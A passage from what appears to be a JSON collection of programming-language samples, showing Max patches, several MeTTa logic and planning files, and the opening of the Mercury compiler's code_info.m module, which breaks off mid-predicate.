\"obj-10\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-11\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-9\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-10\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-8\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-9\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-7\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-8\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-5\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-7\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [ 149.5, 121.0, 29.5, 121.0 ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-4\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-7\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-3\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-5\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n, \t\t\t{\n\t\t\t\t\"patchline\" : \t\t\t\t{\n\t\t\t\t\t\"source\" : [ \"obj-2\", 0 ],\n\t\t\t\t\t\"destination\" : [ \"obj-4\", 0 ],\n\t\t\t\t\t\"hidden\" : 0,\n\t\t\t\t\t\"midpoints\" : [  ]\n\t\t\t\t}\n\n\t\t\t}\n ]\n\t}\n\n}\n"
  },
  {
    "path": "samples/Max/Hello.mxt",
    "content": "max v2;\r#N vpatcher 109 76 569 534;\r#P toggle 31 168 21 0;\r#P button 360 299 15 0;\r#P button 322 299 15 0;\r#P button 284 299 15 0;\r#P button 246 299 15 0;\r#P window setfont Verdana 12.;\r#P window linecount 1;\r#P newex 246 168 43 472055820 r jojo;\r#B color 5;\r#P newex 31 386 45 472055820 s jojo;\r#B color 5;\r#P newex 246 254 162 472055820 route 0 1 2 3;\r#P newex 31 338 88 472055820 append toto;\r#P newex 31 296 35 472055820 % 4;\r#N counter;\r#X flags 0 0;\r#P newobj 31 251 75 472055820 counter;\r#P newex 31 209 75 472055820 metro 250;\r#P newex 164 96 32 472055820 t 0;\r#P message 164 55 136 472055820 Goodbye World !;\r#P newex 31 96 32 472055820 t 1;\r#P message 31 55 113 472055820 Hello World !;\r#P connect 0 0 1 0;\r#P fasten 3 0 15 0 169 146 36 146;\r#P connect 1 0 15 0;\r#P connect 15 0 4 0;\r#P connect 4 0 5 0;\r#P connect 5 0 6 0;\r#P connect 6 0 7 0;\r#P connect 7 0 9 0;\r#P connect 2 0 3 0;\r#P connect 10 0 8 0;\r#P connect 8 0 11 0;\r#P connect 8 1 12 0;\r#P connect 8 2 13 0;\r#P connect 8 3 14 0;\r#P pop;\r"
  },
  {
    "path": "samples/MeTTa/a2_opencoggy.metta",
    "content": ";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n; We can use Nodes and Links in the OpenCog\n; Classic style, because these are also symbolic\n; expressions, although Concept and List will not be\n; turned into types and will remain just symbols\n; in expressions\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n(EvaluationLink\n  (PredicateNode \"eats\")\n  (ListLink\n     (ConceptNode \"Sam\")\n     (ConceptNode \"flies\")))\n\n(EvaluationLink\n  (PredicateNode \"eats\")\n  (ListLink\n     (ConceptNode \"Bill\")\n     (ConceptNode \"pizza\")))\n\n(EvaluationLink\n  (PredicateNode \"eats\")\n  (ListLink\n     (ConceptNode \"Fritz\")\n     (ConceptNode \"flies\")))\n\n!(assertEqualToResult\n  (match &self\n    (EvaluationLink\n      (PredicateNode \"eats\")\n       (ListLink\n          $x\n          (ConceptNode \"flies\")))\n     $x)\n  ((ConceptNode \"Sam\")\n   (ConceptNode \"Fritz\")))\n"
  },
  {
    "path": "samples/MeTTa/baseline_formulation.metta",
    "content": "!(import! &self toy)\n; !(import! &self royal92_simple)\n; !(import! &self adameve_simple)\n; !(import! &self lordOfTheRings_simple)\n; !(import! &self simpsons_simple)\n\n; UTILITY\n(= (different $x $y) (if (== $x $y) (empty) $x))\n\n; GENERATE EXTRA INDICES\n!(match &self (parent $x $y) (add-atom &self (child $y $x)))\n\n!(match &self (male $x) (add-atom &self (person $x)))\n!(match &self (female $x) (add-atom &self (person $x)))\n\n; GET ALL PARENTS\n(= (get_parent $x) (match &self (parent $y $x) $y))\n!(match &self (person $x) (Parent $x (get_parent $x)))\n\n; GET ALL MOTHERS\n(= (get_mother $x) (match &self (, (parent $y $x) (female $y)) $y))\n!(match &self (person $x) (Mother $x (get_mother $x)))\n\n; GET ALL SISTERS\n(= (get_sister $x) (match &self (, (parent $y $x) (parent $y $z) (female $z)) (different $z $x)))\n!(match &self (person $x) (Sister $x (get_sister $x)))\n\n; GET ALL AUNTS\n(= (get_aunt $x) (match &self (, (parent $p $x) (parent $gp $p) (parent $gp $q) (female $q)) (different $q $p)))\n!(match &self (person $x) (Aunt $x (get_aunt $x)))\n\n; GET ALL PREDECESSORS\n(= (get_pred $x) (match &self (parent $p $x) $p))\n(= (get_pred $x) (match &self (parent $p $x) (get_pred $p)))\n!(match &self (person $x) (Pred $x (get_pred $x)))\n"
  },
  {
    "path": "samples/MeTTa/blocks-i-0.metta",
    "content": "(domain BLOCKS) \n(type object) \n(predicate ontable) \n(arity ontable 1) \n(types ontable (object)) \n(predicate holding) \n(arity holding 1) \n(types holding (object)) \n(predicate clear) \n(arity clear 1) \n(types clear (object)) \n(predicate on) \n(arity on 2) \n(types on (object, object)) \n(predicate handempty) \n(arity handempty 0) \n(types handempty ()) \n(action pick-up) \n(types pick-up (object)) \n(= (pre (pick-up $x)) (superpose ((clear $x) (ontable $x) (handempty )))) \n(= (eff-pos (pick-up $x)) (superpose ((holding $x)))) \n(= (eff-neg (pick-up $x)) (superpose ((ontable $x) (clear $x) (handempty )))) \n(action put-down) \n(types put-down (object)) \n(= (pre (put-down $x)) (superpose ((holding $x)))) \n(= (eff-pos (put-down $x)) (superpose ((clear $x) (handempty ) (ontable $x)))) \n(= (eff-neg (put-down $x)) (superpose ((holding $x)))) \n(action stack) \n(types stack (object object)) \n(= (pre (stack $x $y)) (superpose ((holding $x) (clear $y)))) \n(= (eff-pos (stack $x $y)) (superpose ((clear $x) (handempty ) (on $x $y)))) \n(= (eff-neg (stack $x $y)) (superpose ((holding $x) (clear $y)))) \n(action unstack) \n(types unstack (object object)) \n(= (pre (unstack $x $y)) (superpose ((on $x $y) (clear $x) (handempty )))) \n(= (eff-pos (unstack $x $y)) (superpose ((holding $x) (clear $y)))) \n(= (eff-neg (unstack $x $y)) (superpose ((clear $x) (handempty ) (on $x $y)))) \n\n(problem BLOCKS-3-0) \n(object C)\n(isa C object)\n(object B)\n(isa B object)\n(object A)\n(isa A object)\n(init state 0) \n(= (valuation (state 0)) (superpose ((ontable B) (clear B) (ontable C) (clear C) (ontable A) (handempty ) (clear A)))) \n(goal (and (on C B) (on B A))) \n"
  },
  {
    "path": "samples/MeTTa/schemes.metta",
    "content": "; For references see https://github.com/passy/awesome-recursion-schemes\n; For my typed Scala implementation see https://github.com/Adam-Vandervorst/RecursionSchemes\n!(transfer! \"base.metta\")\n\n; folds\n(= ((cata $F $alg) $a) ($alg ($F (cata $F $alg) (unFix $a))))\n\n(= ((para_pair $F $alg) $a) (, ((para $F $alg) $a) $a))\n(= ((para $F $alg) $a) ($alg ($F (para_pair $F $alg) (unFix $a))))\n\n; unfolds\n(= ((ana $F $coalg) $s) (Fix ($F (ana $F $coalg) ($coalg $s))))\n\n(= ((futu_picking $F $coalg) (Pure $a)) ((futu $F $coalg) $a))\n(= ((futu_picking $F $coalg) (Bind $f)) (Fix ($F (futu_picking $F $coalg) $f)))\n(= ((futu $F $coalg) $s) (Fix ($F (futu_picking $F $coalg) ($coalg $s))))\n\n; combinations\n(= ((hylo $F $alg $coalg) $s) ($alg ($F (hylo $F $alg $coalg) ($coalg $s))))\n"
  },
  {
    "path": "samples/Mercury/code_info.m",
    "content": "%---------------------------------------------------------------------------%\n% vim: ft=mercury ts=4 sw=4 et\n%---------------------------------------------------------------------------%\n% Copyright (C) 1994-2012 The University of Melbourne.\n% This file may only be copied under the terms of the GNU General\n% Public License - see the file COPYING in the Mercury distribution.\n%---------------------------------------------------------------------------%\n%\n% File: code_info.m.\n% Main authors: conway, zs.\n%\n% This file defines the code_info type and various operations on it.\n% The code_info structure is the 'state' of the code generator.\n%\n% This file is organized into ten submodules:\n%\n%   - the code_info structure and its access predicates\n%   - simple wrappers around access predicates\n%   - handling branched control structures\n%   - handling failure continuations\n%   - handling liveness issues\n%   - saving and restoring heap pointers, trail tickets etc\n%   - interfacing to var_locn\n%   - managing the info required by garbage collection and value numbering\n%   - managing stack slots\n%   - support for debugging the code generator itself.\n%\n%---------------------------------------------------------------------------%\n\n:- module ll_backend.code_info.\n:- interface.\n\n:- import_module check_hlds.type_util.\n:- import_module hlds.code_model.\n:- import_module hlds.hlds_data.\n:- import_module hlds.hlds_goal.\n:- import_module hlds.hlds_llds.\n:- import_module hlds.hlds_module.\n:- import_module hlds.hlds_pred.\n:- import_module hlds.instmap.\n:- import_module libs.globals.\n:- import_module ll_backend.continuation_info.\n:- import_module ll_backend.global_data.\n:- import_module ll_backend.layout.\n:- import_module ll_backend.llds.\n:- import_module ll_backend.trace_gen.\n:- import_module mdbcomp.prim_data.\n:- import_module mdbcomp.goal_path.\n:- import_module parse_tree.prog_data.\n:- import_module parse_tree.set_of_var.\n\n:- import_module assoc_list.\n:- import_module bool.\n:- import_module counter.\n:- import_module io.\n:- import_module list.\n:- import_module map.\n:- import_module maybe.\n:- import_module set.\n:- import_module set_tree234.\n:- import_module term.\n\n%----------------------------------------------------------------------------%\n%----------------------------------------------------------------------------%\n\n:- implementation.\n\n:- import_module backend_libs.builtin_ops.\n:- import_module backend_libs.proc_label.\n:- import_module hlds.arg_info.\n:- import_module hlds.hlds_desc.\n:- import_module hlds.hlds_rtti.\n:- import_module libs.options.\n:- import_module libs.trace_params.\n:- import_module ll_backend.code_util.\n:- import_module ll_backend.opt_debug.\n:- import_module ll_backend.var_locn.\n:- import_module parse_tree.builtin_lib_types.\n:- import_module parse_tree.prog_type.\n:- import_module parse_tree.mercury_to_mercury.\n\n:- import_module cord.\n:- import_module int.\n:- import_module pair.\n:- import_module require.\n:- import_module set.\n:- import_module stack.\n:- import_module string.\n:- import_module varset.\n\n%---------------------------------------------------------------------------%\n\n    % Submodule for the code_info type and its access predicates.\n    %\n    % This submodule has the following components:\n    %\n    %   declarations for exported access predicates\n    %   declarations for non-exported access predicates\n    %   the definition of the type and the init predicate\n    %   the definition of the get access predicates\n    %   the definition of the set access predicates\n    %\n    % Please keep the order of mention of the various fields\n    % consistent in each of these five components.\n\n:- interface.\n\n:- type code_info.\n\n    % Create a new code_info structure. Also return the\n    % outermost resumption point, and info about the non-fixed\n    % stack slots used for tracing purposes.\n    %\n:- pred code_info_init(bool::in, globals::in, pred_id::in, proc_id::in,\n    pred_info::in, proc_info::in, abs_follow_vars::in, module_info::in,\n    static_cell_info::in, const_struct_map::in, resume_point_info::out,\n    trace_slot_info::out, maybe(containing_goal_map)::in,\n    list(string)::in, int::in, code_info::out) is det.\n\n    % Get the globals table.\n    %\n:- pred get_globals(code_info::in, globals::out) is det.\n\n    % Get the exprn_opts.\n    %\n:- pred get_exprn_opts(code_info::in, exprn_opts::out) is det.\n\n    % Get the HLDS of the entire module.\n    %\n:- pred get_module_info(code_info::in, module_info::out) is det.\n\n    % Get the id of the predicate we are generating code for.\n    %\n:- pred get_pred_id(code_info::in, pred_id::out) is det.\n\n    % Get the id of the procedure we are generating code for.\n    %\n:- pred get_proc_id(code_info::in, proc_id::out) is det.\n\n    % Get the HLDS of the predicate containing the procedure\n    % we are generating code for.\n    %\n:- pred get_pred_info(code_info::in, pred_info::out) is det.\n\n    % Get the HLDS of the procedure we are generating code for.\n    %\n:- pred get_proc_info(code_info::in, proc_info::out) is det.\n\n    % Get the variables for the current procedure.\n    %\n:- pred get_varset(code_info::in, prog_varset::out) is det.\n\n:- func get_var_types(code_info) = vartypes.\n\n:- pred get_maybe_trace_info(code_info::in, maybe(trace_info)::out) is det.\n\n:- pred get_emit_trail_ops(code_info::in, add_trail_ops::out) is det.\n\n:- pred get_emit_region_ops(code_info::in, add_region_ops::out) is det.\n\n    % Get the set of currently forward-live variables.\n    %\n:- pred get_forward_live_vars(code_info::in, set_of_progvar::out) is det.\n\n    % Set the set of currently forward-live variables.\n    %\n:- pred set_forward_live_vars(set_of_progvar::in,\n    code_info::in, code_info::out) is det.\n\n    % Get the table mapping variables to the current\n    % instantiation states.\n    %\n:- pred get_instmap(code_info::in, instmap::out) is det.\n\n    % Set the table mapping variables to the current\n    % instantiation states.\n    %\n:- pred set_instmap(instmap::in, code_info::in, code_info::out) is det.\n\n    % Get the current nesting depth for parallel conjunctions.\n    %\n:- pred get_par_conj_depth(code_info::in, int::out) is det.\n\n    % Set the current nesting depth for parallel conjunctions.\n    %\n:- pred set_par_conj_depth(int::in, code_info::in, code_info::out) is det.\n\n    % The number of the last local label allocated.\n    %\n:- pred get_label_counter(code_info::in, counter::out) is det.\n\n    % Get the flag that indicates whether succip is used or not.\n    %\n:- pred get_succip_used(code_info::in, bool::out) is det.\n\n    % Get the label layout information created by tracing\n    % during code generation.\n    %\n:- pred get_layout_info(code_info::in, proc_label_layout_info::out) is det.\n\n:- pred get_proc_trace_events(code_info::in, bool::out) is det.\n\n:- pred set_proc_trace_events(bool::in, code_info::in, code_info::out) is det.\n\n    % Get the global static data structures that have\n    % been created during code generation for closure layouts.\n    %\n:- pred get_closure_layouts(code_info::in, list(closure_proc_id_data)::out)\n    is det.\n\n:- pred get_max_reg_in_use_at_trace(code_info::in, int::out, int::out) is det.\n\n:- pred set_max_reg_in_use_at_trace(int::in, int::in,\n    code_info::in, code_info::out) is det.\n\n    % Get the flag which is true iff the procedure has so far\n    % emitted code that creates a temporary nondet stack frame.\n    %\n:- pred get_created_temp_frame(code_info::in, bool::out) is det.\n\n:- pred get_static_cell_info(code_info::in, static_cell_info::out) is det.\n\n:- pred set_static_cell_info(static_cell_info::in,\n    code_info::in, code_info::out) is det.\n\n:- pred get_alloc_sites(code_info::in, set_tree234(alloc_site_info)::out)\n    is det.\n\n:- pred set_alloc_sites(set_tree234(alloc_site_info)::in,\n    code_info::in, code_info::out) is det.\n\n:- pred get_used_env_vars(code_info::in, set(string)::out) is det.\n\n:- pred set_used_env_vars(set(string)::in, code_info::in, code_info::out)\n    is det.\n\n:- pred get_opt_trail_ops(code_info::in, bool::out) is det.\n\n:- pred get_opt_region_ops(code_info::in, bool::out) is det.\n\n:- pred get_auto_comments(code_info::in, bool::out) is det.\n\n:- pred get_lcmc_null(code_info::in, bool::out) is det.\n\n:- pred get_containing_goal_map(code_info::in, maybe(containing_goal_map)::out)\n    is det.\n\n:- pred get_containing_goal_map_det(code_info::in, containing_goal_map::out)\n    is det.\n\n:- pred get_const_struct_map(code_info::in, const_struct_map::out) is det.\n\n:- pred add_out_of_line_code(llds_code::in, code_info::in, code_info::out)\n    is det.\n\n:- pred get_out_of_line_code(code_info::in, llds_code::out) is det.\n\n%---------------------------------------------------------------------------%\n\n:- implementation.\n\n:- pred get_var_slot_count(code_info::in, int::out) is det.\n\n:- pred set_maybe_trace_info(maybe(trace_info)::in,\n    code_info::in, code_info::out) is det.\n\n:- pred get_opt_no_return_calls(code_info::in, bool::out) is det.\n\n:- pred get_zombies(code_info::in, set_of_progvar::out) is det.\n\n:- pred set_zombies(set_of_progvar::in, code_info::in, code_info::out) is det.\n\n:- pred get_var_locn_info(code_info::in, var_locn_info::out) is det.\n\n:- pred set_var_locn_info(var_locn_info::in,\n    code_info::in, code_info::out) is det.\n\n:- pred get_temps_in_use(code_info::in, set(lval)::out) is det.\n\n:- pred set_temps_in_use(set(lval)::in, code_info::in, code_info::out) is det.\n\n:- pred get_fail_info(code_info::in, fail_info::out) is det.\n\n:- pred set_fail_info(fail_info::in, code_info::in, code_info::out) is det.\n\n:- pred set_label_counter(counter::in, code_info::in, code_info::out) is det.\n\n:- pred set_succip_used(bool::in, code_info::in, code_info::out) is det.\n\n:- pred set_layout_info(proc_label_layout_info::in,\n    code_info::in, code_info::out) is det.\n\n:- pred get_max_temp_slot_count(code_info::in, int::out) is det.\n\n:- pred set_max_temp_slot_count(int::in, code_info::in, code_info::out) is det.\n\n:- pred get_temp_content_map(code_info::in,\n    map(lval, slot_contents)::out) is det.\n\n:- pred set_temp_content_map(map(lval, slot_contents)::in,\n    code_info::in, code_info::out) is det.\n\n:- pred get_persistent_temps(code_info::in, set(lval)::out) is det.\n\n:- pred set_persistent_temps(set(lval)::in,\n    code_info::in, code_info::out) is det.\n\n:- pred set_closure_layouts(list(closure_proc_id_data)::in,\n    code_info::in, code_info::out) is det.\n\n:- pred get_closure_seq_counter(code_info::in, counter::out) is det.\n\n:- pred set_closure_seq_counter(counter::in,\n    code_info::in, code_info::out) is det.\n\n:- pred set_created_temp_frame(bool::in, code_info::in, code_info::out) is det.\n\n%---------------------------------------------------------------------------%\n\n    % The code_info structure has three groups of fields.\n    %\n    % Some fields are static; they are set when the code_info structure\n    % is initialized, and never changed afterwards.\n    %\n    % Some fields record information about the state of the code generator\n    % at a particular location in the HLDS code of the current procedure.\n    % At the start of the branched control structure, the code generator\n    % remembers the values of these fields, and starts generating code\n    % for each branch from the same location-dependent state.\n    %\n    % Some fields record persistent information that does not depend\n    % on a code location. Updates to these fields must remain effective\n    % even when the code generator resets its location-dependent state.\n\n:- type code_info\n    --->    code_info(\n                code_info_static        :: code_info_static,\n                code_info_loc_dep       :: code_info_loc_dep,\n                code_info_persistent    :: code_info_persistent\n            ).\n\n:- type code_info_static\n    --->    code_info_static(\n                % For the code generation options.\n                cis_globals             :: globals,\n                cis_exprn_opts          :: exprn_opts,\n\n                % The module_info structure - you just never know\n                % when you might need it.\n                cis_module_info         :: module_info,\n\n                % The id of the current predicate.\n                cis_pred_id             :: pred_id,\n\n                % The id of the current procedure.\n                cis_proc_id             :: proc_id,\n\n                % The pred_info for the predicate containing this procedure.\n                cis_pred_info           :: pred_info,\n\n                % The proc_info for this procedure.\n                cis_proc_info           :: proc_info,\n\n                % The proc_label for this procedure.\n                cis_proc_label          :: proc_label,\n\n                % The variables in this procedure.\n                cis_varset              :: prog_varset,\n\n                % The number of stack slots allocated. for storing variables.\n                % (Some extra stack slots are used for saving and restoring\n                % registers.)\n                cis_var_slot_count      :: int,\n\n                % Information about which stack slots the call sequence number\n                % and depth are stored in, provided tracing is switched on.\n                cis_maybe_trace_info    :: maybe(trace_info),\n\n                % Should we optimize calls that cannot return?\n                cis_opt_no_resume_calls :: bool,\n\n                % Should we emit trail operations?\n                cis_emit_trail_ops      :: add_trail_ops,\n\n                % Should we try to avoid generating trail operations?\n                cis_opt_trail_ops       :: bool,\n\n                % Should we emit region operations?\n                cis_emit_region_ops     :: add_region_ops,\n\n                % Should we try to avoid generating region operations?\n                cis_opt_region_ops      :: bool,\n\n                % The setting of --auto-comments.\n                cis_auto_comments       :: bool,\n\n                % The setting of --optimize-constructor-last-call-null.\n                cis_lcmc_null           :: bool,\n\n                cis_containing_goal_map :: maybe(containing_goal_map),\n\n                % Maps the number of an entry in the module's const_struct_db\n                % to its rval.\n                cis_const_struct_map    :: const_struct_map\n            ).\n\n:- type code_info_loc_dep\n    --->    code_info_loc_dep(\n                % Variables that are forward live after this goal.\n                cild_forward_live_vars  :: set_of_progvar,\n\n                % Current insts of the live variables.\n                cild_instmap            :: instmap,\n\n                % Zombie variables; variables that are not forward live\n                % but which are protected by an enclosing resume point.\n                cild_zombies            :: set_of_progvar,\n\n                % A map storing the information about the status of each known\n                % variable. (Known vars = forward live vars + zombies.)\n                cild_var_locn_info      :: var_locn_info,\n\n                % The set of temporary locations currently in use. These lvals\n                % must be all be keys in the map of temporary locations ever\n                % used, which is one of the persistent fields below. Any keys\n                % in that map which are not in this set are free for reuse.\n                cild_temps_in_use       :: set(lval),\n\n                % Information about how to manage failures.\n                cild_fail_info          :: fail_info,\n\n                % How deep in a nested parallel conjunction we are.\n                % This is zero at the beginning of a procedure and\n                % is incremented as we enter parallel conjunctions.\n                cild_par_conj_depth     :: int\n            ).\n\n:- type code_info_persistent\n    --->    code_info_persistent(\n                % Counter for the local labels used by this procedure.\n                cip_label_num_src           :: counter,\n\n                % do we need to store succip?\n                cip_store_succip            :: bool,\n\n                % Information on which values are live and where at which\n                % labels, for tracing and/or accurate gc.\n                cip_label_info              :: proc_label_layout_info,\n\n                % Did the procedure have any trace events?\n                cip_proc_trace_events       :: bool,\n\n                % The maximum number of extra temporary stackslots that\n                % have been used during the procedure.\n                cip_stackslot_max           :: int,\n\n                % The temporary locations that have ever been used on the\n                % stack, and what they contain. Once we have used a stack slot\n                % to store e.g. a ticket, we never reuse that slot to hold\n                % something else, e.g. a saved hp. This policy prevents us\n                % from making such conflicting choices in parallel branches,\n                % which would make it impossible to describe to gc what the\n                % slot contains after the end of the branched control\n                % structure.\n                cip_temp_contents           :: map(lval, slot_contents),\n\n                % Stack slot locations that should not be released even when\n                % the code generator resets its location-dependent state.\n                cip_persistent_temps        :: set(lval),\n\n                cip_closure_layout_seq      :: counter,\n\n                % Closure layout structures generated by this procedure.\n                cip_closure_layouts         :: list(closure_proc_id_data),\n\n                % At each call to MR_trace, we compute the highest rN and fN\n                % registers that contain useful values. These slot contain the\n                % maximum of these highest values. Therefore at all calls to\n                % MR_trace in the procedure, we need only save the registers\n                % whose numbers are equal to or smaller than this field.\n                % This slot contains -1 if tracing is not enabled.\n                cip_max_reg_r_used          :: int,\n                cip_max_reg_f_used          :: int,\n\n                % True iff the procedure has created one or more temporary\n                % nondet frames.\n                cip_created_temp_frame      :: bool,\n\n                cip_static_cell_info        :: static_cell_info,\n\n                cip_alloc_sites             :: set_tree234(alloc_site_info),\n\n                cip_used_env_vars           :: set(string),\n\n                % A counter and table for allocating and maintaining slots\n                % where string IDs will be placed at runtime for threadscope\n                % profiling.  The actual string IDs are allocated at runtime\n                % and their IDs are placed in an array slot which can be\n                % referred to statically.\n                cip_ts_string_table_size    :: int,\n                cip_ts_rev_string_table     :: list(string),\n\n                % Code that is part of this procedure, but that can be placed\n                % after the procedure without a cache penalty.  For example,\n                % code that is spawned off by loop control is placed here.\n                cip_out_of_line_code        :: llds_code\n            ).\n\n%---------------------------------------------------------------------------%\n\ncode_info_init(SaveSuccip, Globals, PredId, ProcId, PredInfo, ProcInfo,\n        FollowVars, ModuleInfo, StaticCellInfo, ConstStructMap, ResumePoint,\n        TraceSlotInfo, MaybeContainingGoalMap,\n        TSRevStringTable, TSStringTableSize, CodeInfo) :-\n    ProcLabel = make_proc_label(ModuleInfo, PredId, ProcId),\n    proc_info_get_initial_instmap(ProcInfo, ModuleInfo, InstMap),\n    proc_info_get_liveness_info(ProcInfo, Liveness),\n    CodeModel = proc_info_interface_code_model(ProcInfo),\n    build_input_arg_list(ProcInfo, ArgList),\n    proc_info_get_varset(ProcInfo, VarSet),\n    proc_info_get_vartypes(ProcInfo, VarTypes),\n    proc_info_get_stack_slots(ProcInfo, StackSlots),\n    ExprnOpts = init_exprn_opts(Globals),\n    globals.lookup_bool_option(Globals, use_float_registers, UseFloatRegs),\n    (\n        UseFloatRegs = yes,\n        FloatRegType = reg_f\n    ;\n        UseFloatRegs = no,\n        FloatRegType = reg_r\n    ),\n    globals.get_trace_level(Globals, TraceLevel),\n    (\n        eff_trace_level_is_none(ModuleInfo, PredInfo, ProcInfo, TraceLevel)\n            = no\n    ->\n        trace_fail_vars(ModuleInfo, ProcInfo, FailVars),\n        MaybeFailVars = yes(FailVars),\n        set_of_var.union(Liveness, FailVars, EffLiveness)\n    ;\n        MaybeFailVars = no,\n        EffLiveness = Liveness\n    ),\n    init_var_locn_state(ArgList, EffLiveness, VarSet, VarTypes, FloatRegType,\n        StackSlots, FollowVars, VarLocnInfo),\n    stack.init(ResumePoints),\n    globals.lookup_bool_option(Globals, allow_hijacks, AllowHijack),\n    (\n        AllowHijack = yes,\n        Hijack = allowed\n    ;\n        AllowHijack = no,\n        Hijack = not_allowed\n    ),\n    DummyFailInfo = fail_info(ResumePoints, resume_point_unknown,\n        may_be_different, not_inside_non_condition, Hijack),\n    map.init(TempContentMap),\n    set.init(PersistentTemps),\n    set.init(TempsInUse),\n    Zombies = set_of_var.init,\n    map.init(LayoutMap),\n    max_var_slot(StackSlots, VarSlotMax),\n    trace_reserved_slots(ModuleInfo, PredInfo, ProcInfo, Globals,\n        FixedSlots, _),\n    int.max(VarSlotMax, FixedSlots, SlotMax),\n    globals.lookup_bool_option(Globals, opt_no_return_calls,\n        OptNoReturnCalls),\n    globals.lookup_bool_option(Globals, use_trail, UseTrail),\n    globals.lookup_bool_option(Globals, disable_trail_ops, DisableTrailOps),\n    (\n        UseTrail = yes,\n        DisableTrailOps = no\n    ->\n        EmitTrailOps = add_trail_ops\n    ;\n        EmitTrailOps = do_not_add_trail_ops\n    ),\n    globals.lookup_bool_option(Globals, optimize_trail_usage, OptTrailOps),\n    globals.lookup_bool_option(Globals, optimize_region_ops, OptRegionOps),\n    globals.lookup_bool_option(Globals, region_analysis, UseRegions),\n    (\n        UseRegions = yes,\n        EmitRegionOps = add_region_ops\n    ;\n        UseRegions = no,\n        EmitRegionOps = do_not_add_region_ops\n    ),\n    globals.lookup_bool_option(Globals, auto_comments, AutoComments),\n    globals.lookup_bool_option(Globals, optimize_constructor_last_call_null,\n        LCMCNull),\n    CodeInfo0 = code_info(\n        code_info_static(\n            Globals,\n            ExprnOpts,\n            ModuleInfo,\n            PredId,\n            ProcId,\n            PredInfo,\n            ProcInfo,\n            ProcLabel,\n            VarSet,\n            SlotMax,\n            no,\n            OptNoReturnCalls,\n            EmitTrailOps,\n            OptTrailOps,\n            EmitRegionOps,\n            OptRegionOps,\n            AutoComments,\n            LCMCNull,\n            MaybeContainingGoalMap,\n            ConstStructMap\n        ),\n        code_info_loc_dep(\n            Liveness,\n            InstMap,\n            Zombies,\n            VarLocnInfo,\n            TempsInUse,\n            DummyFailInfo,  % init_fail_info will override this dummy value\n            0               % nested parallel conjunction depth\n        ),\n        code_info_persistent(\n            counter.init(1),\n            SaveSuccip,\n            LayoutMap,\n            no,\n            0,\n            TempContentMap,\n            PersistentTemps,\n            counter.init(1),\n            [],\n            -1,\n            -1,\n            no,\n            StaticCellInfo,\n            set_tree234.init,\n            set.init,\n            TSStringTableSize,\n            TSRevStringTable,\n            cord.empty\n        )\n    ),\n    init_maybe_trace_info(TraceLevel, Globals, ModuleInfo,\n        PredInfo, ProcInfo, TraceSlotInfo, CodeInfo0, CodeInfo1),\n    init_fail_info(CodeModel, MaybeFailVars, ResumePoint,\n        CodeInfo1, CodeInfo).\n\n:- func init_exprn_opts(globals) = exprn_opts.\n\ninit_exprn_opts(Globals) = ExprnOpts :-\n    globals.lookup_bool_option(Globals, gcc_non_local_gotos, OptNLG),\n    (\n        OptNLG = yes,\n        NLG = have_non_local_gotos\n    ;\n        OptNLG = no,\n        NLG = do_not_have_non_local_gotos\n    ),\n    globals.lookup_bool_option(Globals, asm_labels, OptASM),\n    (\n        OptASM = yes,\n        ASM = have_asm_labels\n    ;\n        OptASM = no,\n        ASM = do_not_have_asm_labels\n    ),\n    globals.lookup_bool_option(Globals, static_ground_cells, OptSGCell),\n    (\n        OptSGCell = yes,\n        SGCell = have_static_ground_cells\n    ;\n        OptSGCell = no,\n        SGCell = do_not_have_static_ground_cells\n    ),\n    globals.lookup_bool_option(Globals, unboxed_float, OptUBF),\n    (\n        OptUBF = yes,\n        UBF = have_unboxed_floats\n    ;\n        OptUBF = no,\n        UBF = do_not_have_unboxed_floats\n    ),\n    globals.lookup_bool_option(Globals, use_float_registers, OptFloatRegs),\n    (\n        OptFloatRegs = yes,\n        UseFloatRegs = use_float_registers\n    ;\n        OptFloatRegs = no,\n        UseFloatRegs = do_not_use_float_registers\n    ),\n    globals.lookup_bool_option(Globals, static_ground_floats, OptSGFloat),\n    (\n        OptSGFloat = yes,\n        SGFloat = have_static_ground_floats\n    ;\n        OptSGFloat = no,\n        SGFloat = do_not_have_static_ground_floats\n    ),\n    globals.lookup_bool_option(Globals, static_code_addresses,\n        OptStaticCodeAddr),\n    (\n        OptStaticCodeAddr = yes,\n        